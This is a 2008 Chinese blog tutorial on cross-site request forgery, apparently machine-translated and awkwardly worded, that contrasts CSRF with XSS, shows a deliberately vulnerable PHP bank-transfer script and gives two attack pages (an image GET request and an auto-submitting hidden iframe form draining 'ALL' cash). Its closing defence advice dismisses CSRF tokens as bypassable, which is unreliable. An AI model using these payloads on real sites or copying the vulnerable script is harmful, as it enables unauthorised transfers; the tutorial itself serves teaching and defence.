CSRF | XSRF 跨站请求伪造

简单介绍:

今天我们谈谈“跨站请求伪造”(CSRF / XSRF)(Cross Site Request Forgery)。而这种脆弱性在网络上是十分的普遍,许可证是通过一个受害者在发送一个HTTP请求到网站,然后以这种方式记录和信任该用户。

以这种方式攻击须要构造一些恶意的HTML和JAVASCRIPT代码。用途是一个受害者访问了这个网站后会做到我们之前所放置的一些行为。而这种形为就是一种复杂性证明的CSRF攻击!

而这种会话传输能够很轻易的被Html的行为和标记语言所接受,BBcode也是如此。

关于认证:

通常,当一个用户登陆到一个受信任的站点,验证系统将用“标识符”来表记这个用户,告诉网站系统当前的用户是经过验证的可以访问一些保留的页面和服务。

这些“标识符”是实现和创建 Cookies和Sessions,通常所生成的是一些HASH和经过编码的号码,会严格确定每一个用户。

随时这个用户都会用他自己的证书登陆到这个WEB站点,这标志着一个新的Sessions将产生。与次同时一位攻击将容易地去做一切越权的性为在WEB站点的 “Ward” 里。J

这看来并不是一件危险的事情,因为只有一个白痴用户才会接受任何种类的请求,千万不要低估这种可爱Cookies的威力。

对于大多数的XSS来说Cookies是最好的攻击目标,因为许可证是一个立即访问到任何种类的机密和专用服务,一个用户拥有这样的特权在:对于CSRF来说这是更有力的,因为disfruts当前Sessions不能容易的避免掉,设想这个站点不提供临时的Cookies。

异处:XSS和CSRF之间

实际上,XSS和CSRF到低有什么实际上的差异呢?这看起来非常的相似。

实事上它们两个颇为相似,但是有一个核心的差异使这两个弱点区分开来。

在XSS漏洞里用户是完全信任该站点的,并会提交一些受骗的信息给攻击者(以抓取Cookies信息为例)。

在CSRF漏洞里站点是信任某个用户的请求和完成任何种类的行为,这样一来所提交的一些表单中的“认证标记”将有利用攻击者。这标志一种以经登陆并拥有相应的权限。

关于CSRF的一个简单形式图如下:

                    trusted <-----flag-----.

     .--------. .-------. .-----|--------.

     | ATTACKER |_____| USER |_____| WEBSITE |

     `----------`  tricks  `------` (request) `---------`

      |                     "_ _ _ _ _ _ _ _/                          |

      |                                                                        |

            `---------------------------------------------`

          the website accomplishes the request

像我们所看到的这种形式是一种反方向的XSS,(该站点信任该用户的身份并授权给该用户。)公平的完成了这个用户的请求,这是一种模糊的认证。

重点是在于,这次的攻击请求是由该用户发送给WEB站点的,而不是攻击者,这使得该漏洞更具危险性!

深入了解CSRF

好吧,现在我们要了解一下什么是CSRF。让我们从一些小的例子开始。

保证这个例子是一个用户赞成该WEB站点所提供的一些特殊项目。也许是提供一些金钱的交易:当这个用户以登录,这时该服务器将创建一个Cookies和Sessions标志着这个用户可以访问一些他自己的私人页面。

此外还要保证,这个WEB站点也许是一个“电子银行服务”,它提供了一种以HTML方式执行金钱交易。那么这段代码看起来将会像:

 1<!-- scratch of a form -->

 2<form method="POST" action="sendmoney.php" name="sendmoney">

 3     <div>How much: <input type="text" name="cash"></div>

 4     <div>To: <input type="text" name="toname"></div>

 5     <div>ABI: <input type="text" name="toabi"></div>

 6     <div>CAB: <input type="text" name="tocab"></div>

 7     <div>CIN: <input type="text" name="tocin"></div>

 8     <div><input type="submit" name="submit" value="Buy"></div>

 9</form>

10<!-- EOF -->

通过这种方式,用户将转移一些金钱到目标的账户里。

OK,这是一种非常愚蠢的事情,和完全不可能找到正确的那部分,但是只有它能够让你更清楚的了解这些事情,:P 请不要抱怨。Sorry!

OK,当这个用户将提交这些值到脚本。sendmoney.php将执行查询,使这个电子银行系统,完成他的转移请求。也许这个脚本看起来想:

 1     /* sendmoney.php */

 2     <?

 3     session_start();

 4     if(isset($_REQUEST['cash']))

 5          $cash = $_REQUEST['cash'];

 6     else

 7          die("Specify the amount of money");

 8     if(isset($_REQUEST['toname']))

 9          $toname = $_REQUEST['toname'];

10     else

11          die("Specify a recipient");

12     if(isset($_REQUEST['toabi']))

13          $toabi = $_REQUEST['toabi'];

14     else

15          die("Specify the ABI");

16     if(isset($_REQUEST['tocab']))

17          $tocab = $_REQUEST['tocab'];

18     else

19          die("Specify the CAB");

20     if(isset($_REQUEST['tocin']))

21          $tocin = $_REQUEST['tocin'];

22     else

23          die("Specify the CIN");

24     

25     // This function safely send the money to the target

26     send_money($cash$toname$toabi$tocab$tocin);

27     

28     ?>

29     /* EOF */

在这个脚本中的变量Send_meney()将有效的将值传给目标,完成这次的转移工作。

在这个特定的情况下,使用全球变量REQUEST允许一个攻击者disfrut在表单中使用GET方法,偷去用户的金钱。

如果这个用户是鉴别的,正如我以前所说的,一个攻击者将提供给这个用户网页或一个图片,看起来就像是这样的。

1     <!-- coolthing.html -->

2     <html>

3     <head><title>Cool Thing</title></head>

4     <body>

5     <img src="http://bankhost.com/sendmoney.php?cash=ALL&toname=ME&toabi=

6      123456&tocab=123456&tocin=X">

7     </body>

8     </html>

9     <!-- EOF -->

其实,如果这个用户应邀访问了这个页面并同时登录到“backhost.com”站点,这个图片载入将发送一个HTTP请求到这个WEB站点,询问他完成这个处理。这实际上是用户自己以前所发起的转移命令。

OK,这是不是一个很好的方法管理交易呢,这个全球的REQUEST不是安全的。或许更多的脚本将使用POST变量代替发送sendmoney,因为他们可能认为这将是更安全的。

显然是不是想像的那样。

考虑用coolthing.html这个文件代替前面那个:

<!-- coolthing.html -->

<html>

<head>

<title>Cool Thing</title>

<script type="text/javascript">

function stealMoney()

{

           iframe = document.frames["stealmoney"];

           iframe.document.Submit("steal");

}

</script>

   </head>

   <body onload="stealMoney()">

   <div><img src="it.jpg"></div>

    <iframe name="stealmoney" display="none">

        <form method="POST" name="steal"

action="http://localhost:88/sendmoney.php">

        <input type="hidden" name="cash" value="ALL">

        <input type="hidden" name="toname" value="ME">

        <input type="hidden" name="toabi" value="123456">

        <input type="hidden" name="tocab" value="123456">

        <input type="hidden" name="tocin" value="X">

    </form>

</iframe>

</body>

</html>

<!-- EOF -->

我们可以看到这个页面组成只是加载了一个it的图片,但是这是以一种隐藏的形式存放在iframe “stealMoney”将执行一个请求到“bankhost.com”网站,请求这个用户Sessions交易的Money到目标的信息。

这只是一个愚蠢的例子,但是通过这个例子你可以想象什么种类的实体漏洞可以采取。

攻击要点

让我们总结一下在什么情况下发起CSRF攻击:

a).攻击者找到一个不懂得什么是用户注册的人,利用这种方式发起CSRF攻击。

b).攻击者创建一个HTML的页面其中将会自动的发送一些请求到脆弱的WEB站点。

c).受害者登录到一个WEB站点并提交了一个开放的Sessions.

d).攻击者提供一个精心构造的页面给受害者。

e).受害者访问这个页面。

f).所发送的请求完成了一个恶意的行为。

    我认为,其实这是十分简单能够理解更多危险的漏洞,一个聪明而又恶毒的攻击者基本以经知道如何向他发起攻击的步骤。

    防御CSRF:

现在,我们以经知道了什么是CSRF攻击所采取的行动,让我尝试分析一下如何防御在这类的Flaws上保护自己。

在这里我们将广泛的讨论如何防御这种漏洞,但是一般无法统一这样的种类。稳定函数的结论。

以经讨论过了关于独一无二的“代号”、验证码和其他的,

但是我仍然认为他们是不能够这么简单灵活的运用的。

等待更好的结果,我建意你至少要求这个用户的密码至少重试一次在敏感页面(如电子商贸形式和内容),

为了确让这个Sessions不能劫持(实事上..如果这个攻击者不知道这个用户的密码,将不能做任何危险事情,和一些其他的方法,如果他真正知道这个密码,他将不请求任何的CSRF J)。

它真正容易实现的是Security misure,在表格中增添了新的域:

1      <!-- new scratch of the form -->

2      <form method="POST" action="sendmoney.php" name="sendmoney">

3           <div>How much: <input type="text" name="cash"></div>

4           <div>To: <input type="text" name="toname"></div>

5           <div>ABI: <input type="text" name="toabi"></div>

6           <div>CAB: <input type="text" name="tocab"></div>

7           <div>CIN: <input type="text" name="tocin"></div>

8           <div>Your passord: <input type="password" name="pass"></div>

9           <div><input type="submit" name="submit" value="Buy"></div>

10      </form>

11      <!-- EOF -->

接下来我们将核对一下'sendmoney.php'文件。

1      /* scratch from sendmoney.php */

2      if(isset($_POST['pass']) && md5($_POST['pass']) == $mysql_row['pass']) {

3           

4      } else {

5           die("You must specify a correct password!");

6      }

7      /* EOF */

这样,CSRF攻击企图将无效,如果攻击者不是公认的机密性信息像密码这样的例子。

其他的解决方法如独一无二的“标记”在PHP 的 Sessions 的基础上建立,也许可以避免,因为攻击者能够绕开他们。

总结

到这里关于这个的讨论就以经结束了:我希望你能够一如既往的希欢这个,就像我一样希欢这样的主题

posted @ 2008-05-26 12:38  090  阅读(13850)  评论(4编辑  收藏  举报
如有任何的意见和建议,请 E-mail 至 to090@yahoo.com
建议使用 IE 6.0 或 FireFox 2.0 以上版本进行浏览,最佳显示 1024 * 768